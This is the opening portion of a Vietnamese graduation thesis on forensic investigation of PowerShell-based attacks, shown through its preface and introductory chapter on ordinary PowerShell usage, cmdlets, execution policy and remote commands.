Giới thiệu và cách sử dụng công cụ PowerShell, PowerShell ISE và so sánh với Command Prompt đã cũ. Trình bày các tấn công sử dụng PowerShell, đặc biệt là tấn công fileless, cách khai thác PowerShell và quy trình điều tra tấn công có sử dụng PowerShell. Thực nghiệm điều tra tấn công sử dụng PowerShell
Trang 1BAN CƠ YẾU CHÍNH PHỦ
Trang 2BAN CƠ YẾU CHÍNH PHỦ
Trang 4MỤC LỤC
Danh mục kí hiệu và viết tắt iii
Danh mục hình vẽ iv
Danh mục bảng vi
Lời cảm ơn vii
Lời nói đầu viii
Chương 1 Tổng quan về PowerShell 1
1.1 Giới thiệu về PowerShell 1
1.2 Cmdlet và Command 3
1.3 Sử dụng PowerShell 6
1.3.1 Tên lệnh trong PowerShell 6
1.3.2 Tham số trong PowerShell 8
1.3.3 Bí danh thay thế cho lệnh 8
1.3.4 Biến trong PowerShell 8
1.3.5 Kịch bản PowerShell 10
1.3.6 Thực thi lệnh từ xa 12
1.4 PowerShell ISE 13
1.4.1 Tổng quan 13
1.4.2 Lợi ích của PowerShell ISE 14
1.4.3 PowerShell với PowerShell ISE 15
1.4.4 Sử dụng PowerShell ISE 16
1.5 Kết luận Chương 1 17
Chương 2 Kỹ thuật điều tra tấn công sử dụng PowerShell 19
2.1 Tấn công sử dụng PowerShell 19
2.1.1 Ransomware 19
2.1.2 W97M.Incompat 20
2.1.3 Keylogger trojan 22
2.1.4 Banking trojan 22
2.1.5 Back door trojan 23
2.2 Tấn công fileless 23
2.2.1 Tổng quan về tấn công fileless 23
2.2.2 Các dạng tấn công fileless 24
2.2.3 Bản chất của tấn công fileless 25
2.3 Khai thác PowerShell 26
2.3.1 Khai thác cơ bản 26
2.3.2 Ví dụ khai thác 30
2.4 Quy trình điều tra tấn công sử dụng PowerShell 33
2.4.1 Chuẩn bị 33
2.4.2 Ảnh hóa 34
2.4.3 Phân tích 34
2.4.4 Lập báo cáo và kết luận 51
2.5 Kết luận Chương 2 52
Trang 53.1 Xây dựng hệ thống thực nghiệm 53
3.1.1 Kịch bản mô phỏng 53
3.1.2 Môi trường thực nghiệm 53
3.2 Quá trình thực hiện phân tích, điều tra 53
3.2.1 Kiểm tra tập tin đính kèm 54
3.2.2 Kiểm tra Registry 56
3.2.3 Kiểm tra nhật ký sự kiện 57
3.2.4 Kiểm tra Prefetch 58
3.2.5 Các tiến hành phân tích khác 60
3.3 Đánh giá kết quả điều tra 61
3.4 Kết luận Chương 3 64
Kết luận 65
Tài liệu tham khảo 66
Trang 6DANH MỤC KÍ HIỆU VÀ VIẾT TẮT
CAND Công An Nhân Dân
Cmdlet Lệnh ghép ngắn
GUI Graphical User Interface
VBScript Visual Basic Script
CTP Community Technology Preview
MS-DOS Microsoft Disk Operation System
DNS Domain Name System
BITS Background Intelligent Transfer Service
RDP Remote Desktop Protocol
VNC Virtual Network Computing
TLS Transport Layer Security
EID Event Identification
ISE Integrated Scripting Environment
RAM Ramdom Access Memory
WSMAN Web Services for Management
SOAP Simple Object Access Protocol
HTA HTML Applications
API Application Programming Interface
WMI Windows Management Instrumentation
WinRM Windows Remote Management
UBND Ủy Ban Nhân Dân
Danh mục hình v
Trang 7Hình 1.1: PowerShell 2
Hình 1.2: Command Prompt 4
Hình 1.3: Xem tất cả các lệnh sử dụng động từ Get 7
Hình 1.4: Xem tất cả các lệnh sử dụng danh từ Service 7
Hình 1.5: Tạo một biến 9
Hình 1.6: Đặt vị trí hiện tại là biến $test 9
Hình 1.7: Hiển thị tất cả các biến 9
Hình 1.8: Sử dụng biến môi trường %SystemRoot% trên PowerShell 10
Hình 1.9: Tạo một tập tin kịch bản PowerShell 11
Hình 1.10: Chạy thử tập tin kịch bản 11
Hình 1.11: Kết quả chạy tập tin kịch bản 11
Hình 1.12: Windows PowerShell ISE 13
Hình 2.1: Hàm mã hóa PowerShell 20
Hình 2.2: Hàm tải xuống sử dụng PowerShell 21
Hình 2.3 Trojan giám sát các tiêu đề có nội dung về tài chính 22
Hình 2.4: Phần danh sách tập tin được truy cập của PowerShell 37
Hình 2.5: Phần còn sót lại của lệnh "echo" trong PSSession được giữ lại trong bộ nhớ wsmprovhost.exe 39
Hình 2.6: Phần đầu ra còn lại của lệnh "dir" trong bộ nhớ wsmprovhost.exe 39
Hình 2.7: Một phần của các lệnh từ xa PowerShell trong bộ nhớ WinRM svchost.exe 40
Hình 2.8: Lệnh PowerShell được mã hóa trong nhật ký phân tích PowerShell 44
Hình 2.9: Nhật ký module lưu sự kiện nhập lệnh (EID 4103) trong nhật ký sự kiện hoạt động của PowerShell 46
Hinh 2.10: Nhật ký module ghi lại sự kiện đầu ra (EID 4103) 46
Hình 2.11: Mã độc PowerShell được thêm vào profile.exe bởi module Persistence của PowerSploit 49
Hình 2.12: Liệt kê consumer sự kiện WMI với PowerShell 51
Hình 3.1: Tập tin đính kèm và tập tin sau khi giải nén 54
Hình 3.2: Tập tin CV_ 242019Qd-UBND.pdf hiển thị sau khi mở 54
Hình 3.3: Tập tin HTML 55
Hình 3.4: Tập tin VBScript 55
Hình 3.5: Registry không có thay đổi về chính sách thực thi 56
Trang 8Hình 3.6: Các sự kiện của Windows PowerShell 57
Hình 3.7: Chi tiết sự kiện EID 400, với HostName = ConsoleHost 57
Hình 3.8: Tập tin prefetch cho PowerShell được cập nhật 58
Hình 3.9: Một tập tin ps1 đã được thực thi, cùng đường dẫn của tập tin 58
Hình 3.10: Các tập tin mới cũng được tìm thấy trong cùng đường dẫn 58
Hình 3.11: Nội dung tập tin 3.ps1 59
Hình 3.12: Dịch ngược tập tin BTM0h.exe 60
Hình 3.13: Tiến trình svchost.exe độc hại đang thực thi 60
Hình 3.14: Tiến trình svchost.exe tự động thực thi 60
Hình 3.15: Các thông tin keylogger đã mã hóa được gửi về server 61
Hình 3.16: Sơ đồ tấn công 61
Trang 9DANH MỤC BẢNG
Bảng 1.1: Các kiểu dữ liệu PowerShell 2Bảng 1.2: So sánh PowerShell và Command Prompt 6Bảng 3.1: Thiết lập môi trường để phân tích cuộc tấn công 53
Trang 10LỜI CẢM ƠN
Để hoàn thành đồ án tốt nghiệp này, lời đầu tiên em xin cảm ơn đến các thầy
cô của Học viện Kỹ thuật Mật mã đã dạy dỗ và trang bị cho em những kiến thức bổích trong suốt năm năm qua
Qua đây, em xin tỏ lòng biết ơn sâu sắc đến ThS Phạm Sỹ Nguyên – côngtác tại Đại học Kỹ thuật - Hậu cần CAND, người đã tận tình giúp đỡ, truyền đạtkinh nghiệm và chỉ hướng để em có thể thực hiện và hoàn thành được đồ án này
Em cũng gửi lời cảm ơn đến ThS Nguyễn Thành Chương – phụ trách phòngỨng cứu sự cố tại Trung tâm Ứng cứu khẩn cấp không gian mạng Việt NamVNCERT/CC, người đã hướng dẫn và chia sẻ những hiểu biết để em có thể thựchiện đồ án này
Sau cùng, em xin gửi lời cảm ơn chân thành tới gia đình, bạn bè đã độngviên, cổ vũ tinh thần và có những ý kiến đóng góp trong suốt quá trình học tập,nghiên cứu cũng như trong quá trình làm đồ án tốt nghiệp
Trong quá trình thực hiện đồ án, do hạn chế về kiến thức và kinh nghiệmthực tế nên đồ án của em chắc chắn sẽ tồn tại những thiếu sót, em mong nhận được
sự nhận xét, đánh giá cũng như là sự bổ sung của quý thầy cô và các bạn
Em xin chân thành cảm ơn!
SINH VIÊN THỰC HIỆN ĐỒ ÁN
Nguyễn Thanh Trà
Trang 11LỜI NÓI ĐẦU
PowerShell của Microsoft Windows là một công cụ mặc định trên hệ điềuhành Windows hiện nay với ý định thay thế cho CMD (Command Prompt) đã lỗithời Đây là chương trình dòng lệnh giúp làm đơn giản hóa hoạt động quản lý trongcác mạng doanh nghiệp lớn PowerShell là công cụ hữu dụng cho nhiều quản trịviên đồng thời cũng là một phần mềm để cho kể tấn công lợi dụng
Thông thường trong các cuộc tấn công sử dụng mã độc, kẻ tấn công sẽ lừangười dùng tải một phần mềm có chứa mã độc hoặc khai thác một lỗ hổng phầnmềm rồi cài đặt một tập tin thực thi vào máy nạn nhân Các phần mềm Antivirusđược thiết kế để quét máy tính và tìm chữ ký số của mã độc đã biết và chặn các tậptin này thực thi Khi một tấn công sử dụng được PowerShell thì việc khai thác sẽtrở nên dễ dàng và khó bị các phần mềm chống virus phát hiện Việc lợi dụngPowerShell để khai thác máy nạn nhân sẽ không có chữ ký số nào cho các phầnmềm chống virus để tìm kiếm Mã độc Purple Fox [3] được báo cáo là đã ảnhhưởng ít nhất 30.000 người dùng vào năm 2018, là một ví dụ gần đây Kịch bảnPowerShell độc hại được đặt dưới dạng tập tin hình ảnh (.jpg), sẽ sử dụng API củamsi.dll - một thư viện liên kết động có chứa các chức năng để cài đặt các góiMicrosoft Installer (.msi) - để thực thi và cài đặt thành phần chính của Purple Fox
Do đó để có thể biết các hoạt động đã được dùng trong một cuộc tấn công sử dụngPowerShell cần một cuộc điều tra Vì cuộc tấn công không sử dụng mã độc mà sửdụng PowerShell để khai thác nên các bằng chứng có thể tìm được bằng cách phântích các nguồn như thanh ghi, lưu lượng mạng, bộ nhớ, nhật ký sự kiện, … Sau khi
có các bằng chứng về hoạt động của cuộc tấn công có thể biết được kịch bản tấncông
Mục tiêu của việc nghiên cứu đồ án tốt nghiệp với đề tài "Nghiên cứu kỹthuật điều tra, truy vết các cuộc tấn công sử dụng PowerShell" là tìm hiểu tổngquan về PowerShell, sau đó nghiên cứu về các kỹ thuật điều tra, truy vết các cuộctấn công có sử dụng PowerShell và thực nghiệm phân tích kịch bản liên quan
Đồ án được bố cục thành 3 chương, cụ thể:
Chương 1: Tổng quan về PowerShell: Giới thiệu và cách sử dụng công cụ
PowerShell, PowerShell ISE và so sánh với Command Prompt đã cũ
Chương 2: Kỹ thuật điều tra tấn công sử dụng PowerShell: Trình bày
các tấn công sử dụng PowerShell, đặc biệt là tấn công fileless, cách khai thácPowerShell và quy trình điều tra tấn công có sử dụng PowerShell
Trang 12Chương 3: Thực nghiệm điều tra tấn công sử dụng PowerShell: Xây
dựng hệ thống thực nghiệm, tiến hành phân tích, điều tra và đưa ra đánh giá
Mặc dù em đã có cố gắng, nhưng còn hạn chế về thời gian và kiến thức,trong quá trình thực hiện đề tài không tránh khỏi những thiếu sót Em hi vọng sẽnhận được những ý kiến nhận xét, góp ý của các Thầy giáo, Cô giáo về những vấn
đề triển khai trong đồ án
SINH VIÊN THỰC HIỆN ĐỒ ÁN
Nguyễn Thanh Trà
Trang 13CHƯƠNG 1 TỔNG QUAN VỀ POWERSHELL
1.1 Giới thiệu về PowerShell
Trong khoa học máy tính, shell cơ bản là một giao diện người dùng cung cấplối vào các dịch vụ khác nhau của hệ điều hành Một shell có thể được dựa trêndòng lệnh hoặc bao gồm một giao diện người dùng đồ họa (GUI)
Microsoft đã bắt đầu phát triển một phương pháp quản lý bằng dòng lệnhmới vào năm 2002 Điều này dẫn đến sự ra đời của một shell có tên là Monad Vàonăm này, một bài viết có tên là Monad Manifesto được xuất bản Bài viết chứakhái niệm về shell này và những ý tưởng dẫn đến sự phát triển của nó
Monad đã được thiết kế mới hơn cho phép nó tự động hóa được một mảnglớn các nhiệm vụ quản trị Vào năm 2003, lần đầu tiên Monad được giới thiệu tạiHội thảo chuyên gia phát triển ở Los Angeles
Ba phiên bản của Monad được Microsoft lần lượt phát hành vào 17-6-2005,11-9-2005 và 10-1-2006 Vào tháng 8-2006, Monad được đổi tên thành WindowsPowerShell Sau đó, PowerShell đã trở thành một phần quan trọng trong các dịch
vụ công nghệ của Microsoft Phiên bản PowerShell tương thích với các bảnWindows trước đó đã được giới thiệu vào 30-1-2007
PowerShell 2.0 đã được phát triển trước khi PowerShell 1.0 được xuấtxưởng Trong quá trình phát triển, tổng cộng 3 bản xem trước (communitytechnology preview) đã được Microsoft tạo Vào tháng 12-2008, bản CTP cuốicùng của PowerShell 2.0 đã được tạo ra
Phiên bản PowerShell 2.0 đã được hoàn thiện vào 2009 và được phát hành
và sản xuất cùng năm
PowerShell là một công cụ tự động hóa và quản lý cấu hình các nhiệm vụcủa Microsoft, lớp Shell mạnh mẽ này được dựa trên NET framework bao gồmmột cửa sổ dòng lệnh và một ngôn ngữ kịch bản liên quan Ban đầu chỉ là mộtthành phần trên hệ điều hành Windows, Windows PowerShell, sau đó đã trở thànhphần mềm mã nguồn mở và đa nền tảng (Linux, macOS và Windows) vào 18-08-
2016 với sự ra mắt của PowerShell Core dựa trên NET core
PowerShell đã được sử dụng trên toàn bộ hệ sinh thái của Microsoft kể từWindows NT 4.0 cho tất cả các loại hình hoạt động Phiên bản đầu tiên củaPowerShell được phát hành vào tháng 11 năm 2006 cho Windows XP, WindowsServer 2003 và Windows Vista Các phiên bản sau của PowerShell là Windows
Trang 14PowerShell 4.0 được phát hành vào tháng Mười năm 2013 Phiên bản này đượcphân phối theo mặc định với Windows 8.1 và Windows Server 2012 R2
Hình 1.1: PowerShell
Nếu đang tìm hiểu về quản trị mạng, cần biết rằng PowerShell chính là công
cụ được các quản trị viên công nghệ thông tin chọn để quản lý các mạng lớn Họccách sử dụng PowerShell sẽ giúp đơn giản hóa nhiều công việc tẻ nhạt hàng ngày.PowerShell cũng có thể thực hiện các thay đổi toàn hệ thống thông qua mạng màkhông phải điều chỉnh riêng lẻ cho từng máy chủ PowerShell đang trở thành mộtphần thiết yếu trong việc vận hành môi trường đám mây lai
Bảng 1.1: Các kiểu dữ liệu PowerShell
Boolean Điều kiện đúng hoặc sai (true hoặc false)
Byte Số nguyên không dấu 8-bit từ 0 đến 255
Char Ký tự Unicode 16-bit
Date Ngày giờ
Decimal Số thập phân 128-bit
Double Số thập phân 64-bit
Integer Số nguyên 32-bit
Long Số nguyên 64-bit
Object Chi tiết
Shot Số nguyên 16-bit
Single Số thập phân 32-bit
String Chuỗi ký tự Unicode có độ dài tùy chỉnh
Trang 15PowerShell có rất nhiều cách sử dụng khác nhau giúp làm việc tối ưu hơn vàgiữ cho mạng hoạt động hiệu quả Những cách sử dụng cơ bản nhất bao gồm: lênlịch cập nhật hàng ngày trên các hệ thống, tạo báo cáo cho những tiến trình hiệntại, dịch vụ theo chu kỳ và nhiều thứ khác Đúng là nhiều tác vụ trong số này cóthể được thực hiện thông qua GUI, tuy nhiên quan điểm của PowerShell là thựchiện chúng nhanh hơn.
Các lý do khi sử dụng PowerShell
PowerShell tích hợp command-line trong hệ điều hành;
PowerShell cho phép kết nối với tất cả các kiểu của NET framework;
Được quản trị hệ thống tin cậy;
PowerShell là một cách đơn giản để thao tác các thành phần máy chủ
Kích hoạt lệnh cmdlet và cho phép các nhà phát triển thực hiện;
Shell này giúp lắng nghe, chuyển tiếp và hành động trong các hệ quản
lý và hệ thống sự kiện;
Truyền tập tin mạng: PowerShell cung cấp hỗ trợ chuyển các tập tinđược ưu tiên, không đồng bộ, điều chỉnh bằng công nghệ dịch vụchuyển thông minh BITS (Background Intelligent Transfer Service)
1.2 Cmdlet và Command
Command Prompt là một cửa sổ dòng lệnh, dựa trên hệ điều hành MicrosoftDisk Operation System (MS-DOS) của thập niên 1980 Đây là một ứng dụngwin32 đơn giản giúp người dùng tương tác với hệ điều hành Windows bằng cáclệnh và tham số đơn giản
Command Prompt có các lệnh tích hợp chạy các tác vụ khác nhau, hầu hết
có thể thực thi dưới quyền quản trị viên Command Prompt được chính thức gọi là
Trang 16Windows Command Processor, nhưng đôi khi cũng đc gọi là CMD prompt hayCommand shell, hoặc đơn giản là CMD Therese Stowell đã phát triển bản đầu tiêncủa CMD cho Windows NT vào tháng 12/1987 và có sẵn trong hầu hết các hệ điềuhành Windows.
Hình 1.2: Command Prompt
PowerShell không chỉ là tập các câu lệnh PowerShell sử dụng các hàm gọi
là "cmdlet" Một cmdlet là một dòng lệnh ngắn được sử dụng trong PowerShell.PowerShell chạy các lệnh cmdlet này khi các kịch bản tự động được cung cấp sẵntại dòng lệnh PowerShell khi chạy cũng gọi chúng theo chương trình thông quaWindows PowerShell API
Cmdlet thực hiện một hành động và thường trả về một đối tượngMicrosoft NET framework cho lệnh tiếp theo trong luồng
Cmdlet khác với các lệnh trong các môi trường shell khác trong các điềusau:
Cmdlet là đối tượng lớp NET Framework nên không thể được thựcthi riêng;
Cmdlet có thể xây dựng từ vài chục dòng mã;
Phân tích cú pháp, định dạng đầu ra và trình bày lỗi không được xử lýbởi các lệnh cmdlet;
Cmdlet hoạt động trên các đối tượng Vì vậy, luồng văn bản và cácđối tượng không thể được chuyển qua làm đầu ra cho luồng;
Cmdlet dựa trên bản ghi để xử lý một đối tượng tại một thời điểm.Hầu hết các chức năng PowerShell đến từ cmdlet Hơn nữa, các đối tượng
Trang 17trữ trong tập tin có phần mở rộng là ps1 Một cmdlet luôn bao gồm một động từ vàmột danh từ, được phân tách bằng dấu gạch nối Một số động từ được sử dụng là:
Get - lấy một cái gì đó;
Start - chạy;
Out - xuất một cái gì đó;
Stop - dừng lại khi đang chạy;
Set - xác định một cái gì đó;
New - tạo một cái gì đó
Các lệnh cmdlet này thực hiện truy vấn mạnh hơn nhiều và có đầu ra cũngchất lượng hơn so với Windows Command Prompt Hãy thực hiện một ví dụ đơngiản là xác định địa chỉ IP Sử dụng câu lệnh ipconfig trong CMD, và nó sẽ trả ramàn hình địa chỉ IP Sử dụng câu lệnh ipconfig /all và sẽ nhận được tất cả các tham
số về máy chủ bao gồm DNS, subnet mark, adapter Câu lệnh này cũng sử dụngđược trên PowerShell và kết quả cũng tương tự
Ngoài ra, với PowerShell, có thể sử dụng thêm mội vài tham số đầu vào để
có các đầu ra khác nhau Điều này có thể không cần thiết đối với máy chủ đơngiản, nhưng nó sẽ là tuyệt vời đối với một máy chủ cấp cao Lệnh cmdlet Get-NetIPAddress cho phép xem cấu hình IP cho cả IPv4 và IPv6 cùng với mọi giaodiện liên quan Đầu ra sẽ là một danh sách hoặc có thể sử dụng bảng định dạng đểthay đổi định dạng đầu ra của mình Đây là sự khác nhau của hai môi trường, vàcác lệnh cmdlet nhiều hơn nhiều so với các lệnh cmd
Một lợi thế mạnh mẽ của PowerShell so với CMD là cơ chế đường ống Kếtquả của lệnh này sẽ là đầu vào của câu lệnh tiếp theo Sử dụng lệnh cmdlet Get-Service Lệnh này sẽ hiển thị các dịch vụ đang chạy trên máy Kết quả sẽ giống khi
sử dụng cửa sổ Service trong Control Panel Có thể dẫn đầu ra của lệnh cmdlet nàysang lệnh cmdlet thứ cấp để xem nhiều thông tin hơn về danh sách dịch vụ Ví dụ
là lệnh cmdlet Get-Member Lệnh cmdlet Get-Service|Get-Member, với kết quảcủa lệnh Get-Service là đầu vào của lệnh Get-Member Kết quả sẽ hiển thị các kiểuthành phần và định nghĩa dịch vụ mỗi thành phần
Trong CMD, cần nhập lệnh và xem kết quả đầu ra Với PowerShell, có thểnhập lệnh và sử dụng các tham số nâng cao để tìm kiếm và lọc đầu ra Một ví dụ là
sử dụng tham số Where-Object
Khi sử dụng lệnh Get-Process, sẽ hiển thị tất cả các tiến trình đang chạy trên
hệ điều hành, giống như khi được xem bằng cửa sổ Task Manager Để tìm một tiếntrình có đang chạy hay không, sử dụng tham số Where-Object:
Trang 18Get-Process|Where-Object{$_.NAME -eq"chrome"}
Lệnh trên nhận danh sách các tiến trình trên máy chủ và sau đó chuyển đầu
ra tới lệnh cmdlet Where-Object Lệnh cmd này cho phép sử dụng phép toán logic
Ví dụ "Name" phải bằng (-eq) "chrome" Kết quả sẽ hiển thị tất cả các tiến trìnhcủa Chrome đang chạy trên máy
Bảng 1.2: So sánh PowerShell và Command Prompt
1 Là một nhiệm vụ tự động trên
giao diện dòng lệnh kết hợp với
kịch bản dựa trên NET
framework
1 Là cửa sổ dòng lệnh thông dịch mặc định của hệ điều hành Microsoft Windows
2 Thông dịch được cả tập tin batch
và PowerShell
2 Thông dịch được tập tin batch
3 Được sử dụng để kiểm soát và tự
động hóa các ứng dụng và hệ
điều hành Windows trên máy
chủ Windows
3 Được sử dụng để thực thi các lệnh đã cho trên bảng điều khiển (console), có thể được sử dụng
5 Vừa là shell và kịch bản vừa hỗ
trợ tạo các tập tin lớn để quản lý
hệ điều hành Windows
5 Chỉ là một hệ thống shell, chỉ cho phép người dùng thực hiện các lệnh dễ và cơ bản để thực thitập tin batch
6 PowerShell rất tiên tiến về các
tính năng, khả năng và chức
năng bên trong
6 Command prompt rất đơn giản
1.3 Sử dụng PowerShell
1.3.1 Tên lệnh trong PowerShell
PowerShell sử dụng hệ thống đặt tên "verb-noun" Mỗi tên cmdlet bao gồmmột động từ tiêu chuẩn được gạch nối với một danh từ cụ thể Động từ PowerShellkhông phải luôn luôn là động từ tiếng Anh, nhưng chúng thể hiện các hành động
cụ thể trong PowerShell Danh từ rất giống danh từ trong bất kỳ ngôn ngữ nào.Chúng mô tả các loại đối tượng cụ thể quan trọng trong quản trị hệ thống
PowerShell có một bộ động từ tiêu chuẩn được đề xuất Danh từ ít bị hạn
Trang 19Get-Process, Stop-Process, Get-Service và Stop-Service Với một bộ từ gồm 10động từ và 10 danh từ, chỉ cần nhớ và hiểu 20 từ nhưng những từ đó sẽ kết hợp vàtạo thành 100 tên lệnh riêng biệt Thật dễ hiểu khi lệnh PowerShell thực hiện giốngcách đọc tên của nó Lệnh tắt máy tính là Stop-Computer Lệnh liệt kê tất cả cácmáy tính trên mạng là Get-Computer Lệnh để lấy ngày hệ thống là Get-Date.
Có thể liệt kê tất cả các lệnh bao gồm một động từ cụ thể với tham số Verbcho Get-Command Ví dụ: để xem tất cả các lệnh cmdlet sử dụng động từ Get, gõ:
Get-Command -Verb Get
Hình 1.3: Xem tất cả các lệnh sử dụng động từ Get
Sử dụng tham số Noun để xem họ các lệnh liên quan đến cùng loại đốitượng Ví dụ: chạy lệnh sau để xem các lệnh có sẵn để quản lý dịch vụ:
Get-Command -Noun Service
Hình 1.4: Xem tất cả các lệnh sử dụng danh từ Service
Các lệnh được sử dụng trong giao diện dòng lệnh truyền thống không phảilúc nào cũng có tên tham số nhất quán Các tham số thường là các từ đơn ký tựhoặc viết tắt giúp dễ gõ nhưng sẽ làm người dùng mới không dễ hiểu
Trang 201.3.2 Tham số trong PowerShell
Không giống như hầu hết các giao diện dòng lệnh truyền thống khác,PowerShell xử lý trực tiếp các tham số và nó sử dụng quyền truy cập trực tiếp nàyvào các tham số cùng với hướng dẫn của nhà phát triển để chuẩn hóa tên tham số.Hướng dẫn này khuyến khích nhưng không đảm bảo rằng mọi lệnh cmdlet phù hợpvới tiêu chuẩn
PowerShell cũng chuẩn hóa bộ phân tách tham số Tên tham số luôn có '-'được đặt trước chúng bằng lệnh PowerShell Hãy xem xét ví dụ sau:
Get-Command -Name Clear-Host
Tên của tham số là Name, nhưng nó được gõ là -Name khi được sử dụngtrên dòng lệnh làm tham số
Có thể dùng tham số -? để xem hướng dẫn sử dụng lệnh đó
1.3.3 Bí danh thay thế cho lệnh
PowerShell hỗ trợ các bí danh (alias) để chỉ các lệnh bằng các tên thay thế
Bí danh cho phép người dùng có kinh nghiệm trong các shell khác sử dụng các tênlệnh phổ biến mà họ đã biết cho các hoạt động tương tự trong PowerShell
Bí danh liên kết một tên mới với một lệnh khác Ví dụ: PowerShell có mộtchức năng nội bộ có tên Clear-Host sẽ xóa cửa sổ đầu ra Có thể nhập cls,PowerShell diễn giải các bí danh này và chạy chức năng Clear-Host
Tính năng này giúp người dùng tìm hiểu PowerShell Hầu hết người dùngcmd.exe và Unix đều có một số lượng lớn các lệnh mà người dùng đã biết theo tên.Các lệnh tương đương ở PowerShell có thể không tạo ra kết quả giống hệt nhau.Tuy nhiên, kết quả đủ gần để người dùng có thể thực hiện công việc mà không cầnbiết tên lệnh PowerShell Nếu đã sử dụng cmd.exe trong nhiều năm, có thể theophản xạ gõ lệnh cls để xóa màn hình Nếu không có bí danh cho Clear-Host, sẽnhận được thông báo lỗi và sẽ không biết phải làm gì để xóa đầu ra
1.3.4 Biến trong PowerShell
PowerShell hoạt động với các đối tượng PowerShell cho phép tạo các đốitượng được đặt tên là các biến Tên biến có thể bao gồm ký tự gạch dưới và bất kỳ
ký tự chữ và số nào Khi được sử dụng trong PowerShell, một biến luôn được chỉđịnh bằng ký tự $ theo sau là tên biến
Có thể tạo một biến bằng cách nhập tên biến hợp lệ:
Trang 21Hình 1.6: Đặt vị trí hiện tại là biến $test
Sử dụng ví dụ sau để hiển thị tất cả các biến PowerShell:
Get-ChildItem variable:
Hình 1.7: Hiển thị tất cả các biến
Trang 22PowerShell có thể sử dụng cùng các biến môi trường có sẵn cho bất kỳ quytrình Windows nào, bao gồm cmd.exe Các biến này được hiển thị thông qua một ổđĩa có tên env:
Hình 1.8: Sử dụng biến môi trường %SystemRoot% trên PowerShell
1.3.5 Kịch bản PowerShell
Các tập lệnh PowerShell được lưu trữ trong tập tin ps1 Theo mặc định,không thể chạy tập lệnh bằng cách nhấp đúp vào tập tin Điều này bảo vệ hệ thốngkhỏi thao tác vô tình Để thực thi một kịch bản, bấm chuột phải vào nó và bấm
"Run with PowerShell."
Hơn nữa, có một chính sách hạn chế thực thi tập lệnh để ngăn các tập lệnhđộc hại chạy trên hệ thống, có thể thấy chính sách này bằng cách chạy lệnh Get-ExecutionPolicy Sẽ có các kết quả như sau:
Restricted: Không có kịch bản được cho phép Đây là cài đặt mặcđịnh, vì vậy nó sẽ hiển thị lần đầu tiên khi chạy lệnh
AllSigned: Có thể chạy các tập lệnh được đăng ký bởi một nhà pháttriển đáng tin cậy Với sự trợ giúp của cài đặt này, một tập lệnh sẽ yêucầu xác nhận sẽ chạy nó trước khi thực thi
RemoteSigned: Chính sách thực thi mặc định cho Windows Server
Có thể chạy các tập tin lệnh được viết trên máy, các tập tin lệnh đượctải xuống phải có chữ ký số của nhà phát triển tin cậy mới chạy được
Unrestricted: Có thể chạy bất cứ tập lệnh nào (có hiện cảnh báo ngườidùng trước khi thực thi)
Ví dụ: Tạo một tập tin test.ps1 với đường dẫn:
C:\Users\Administrator\Desktop\Script\test.ps1
Thêm vào tập tin một đoạn:
Write-Host "Hello, World!"
Trang 23Hình 1.9: Tạo một tập tin kịch bản PowerShell
Lưu tập tin và quay lại cửa sổ PowerShell Gọi tập lệnh:
& " C:\Users\Administrator\Desktop\Script\test.ps1"
Khi chạy lệnh trên nhận được một lỗi cho biết các tập lệnh đã bị vô hiệu hóatrên hệ thống
Hình 1.10: Chạy thử tập tin kịch bản
Để chạy được tập tin kịch bản cần phải sửa chính sách thực thi mặc định của
hệ thống từ Restricted sang RemoteSigned bằng lệnh:
Trang 241.3.6 Thực thi lệnh từ xa
Có thể chạy các lệnh trên một hoặc hàng trăm máy tính bằng một lệnhPowerShell Windows PowerShell hỗ trợ thao tác từ xa bằng cách sử dụng cáccông nghệ khác nhau, bao gồm WMI, RPC và WS-Management
PowerShell Core hỗ trợ WMI, WS-Management và SSH từ xa RPC khôngcòn được hỗ trợ
Nhiều lệnh Windows PowerShell cmdlet có tham số ComputerName chophép thu thập dữ liệu và thay đổi cài đặt trên một hoặc nhiều máy tính từ xa Cáclệnh cmdlet này sử dụng các giao thức truyền thông khác nhau và hoạt động trêntất cả các hệ điều hành Windows mà không có bất kỳ cấu hình đặc biệt nào
Sử dụng giao thức WS-Management, điều khiển từ xa Windows PowerShellcho phép chạy bất kỳ lệnh Windows PowerShell nào trên một hoặc nhiều máy tính
từ xa Có thể thiết lập các kết nối liên tục, bắt đầu các phiên tương tác và chạy cáctập lệnh trên máy tính từ xa Để sử dụng điều khiển từ xa Windows PowerShell,máy tính từ xa phải được cấu hình để quản lý từ xa
Để bắt đầu phiên tương tác với một máy tính từ xa, sử dụng lệnh cmdletEnter-PSSession Ví dụ: để bắt đầu phiên tương tác với máy tính từ xa Server01,nhập: Enter-PSSession Server01
Để chạy lệnh trên một hoặc nhiều máy tính, sử dụng lệnh cmdlet Command Ví dụ: để chạy lệnh Get-UICulture trên máy tính từ xa Server01 vàServer02, nhập:
Invoke-Invoke-Command -ComputerName Server01, Server02 -ScriptBlock {Get-UICulture}
Để chạy tập lệnh trên một hoặc nhiều máy tính từ xa, sử dụng tham sốFilePath của lệnh cmdlet Invoke-Command Kịch bản phải được bật hoặc có thểtruy cập vào máy tính cục bộ Kết quả được trả về máy tính cục bộ
Ví dụ: lệnh sau chạy tập lệnh DiskCollect.ps1 trên các máy tính từ xa,Server01 và Server02
Invoke-Command -ComputerName Server01, Server02 -FilePath c:\ Scripts\DiskCollect.ps1
Trang 251.4 PowerShell ISE
1.4.1 Tổng quan
Windows PowerShell ISE lần đầu tiền được giới thiệu với WindowsPowerShell v2 và được thiết kế lại với PowerShell v3 PowerShell ISE hỗ trợ tất cảcác phiên bản PowerShell từ 5.1 trở xuống
Điều quan trọng cần lưu ý là ISE không còn được phát triển tích cực Mặc
dù ISE vẫn được hỗ trợ với các bản vá bảo mật và chức năng, nhưng không có kếhoạch cập nhật ISE cho PowerShell v6 trở lên Người dùng PowerShell v6 trở lên
có thể muốn từ bỏ PowerShell ISE để ưu tiên các nền tảng ISE thay thế như VisualStudio Code với PowerShell Extension có sẵn thông qua Visual StudioMarketplace
Windows PowerShell tích hợp môi trường kịch bản (Integrated ScriptingEnvironment - ISE) là một ứng dụng máy chủ cho Windows PowerShell TrongISE, có thể viết và chạy các tập lệnh, kiểm tra và gỡ lỗi các tập lệnh trên một giaodiện người dùng có đồ họa Các mục menu và phím tắt được ánh xạ tới các tác vụgiống như khi làm với cửa sổ dòng lệnh PowerShell Ví dụ khi gỡ lỗi (debug) mộttập lệnh trong ISE chỉ cần nhập chuột phải vào một dòng mã để đặt điểm dừng(breakpoint) trong khung chỉnh sửa
Hình 1.12: Windows PowerShell ISE
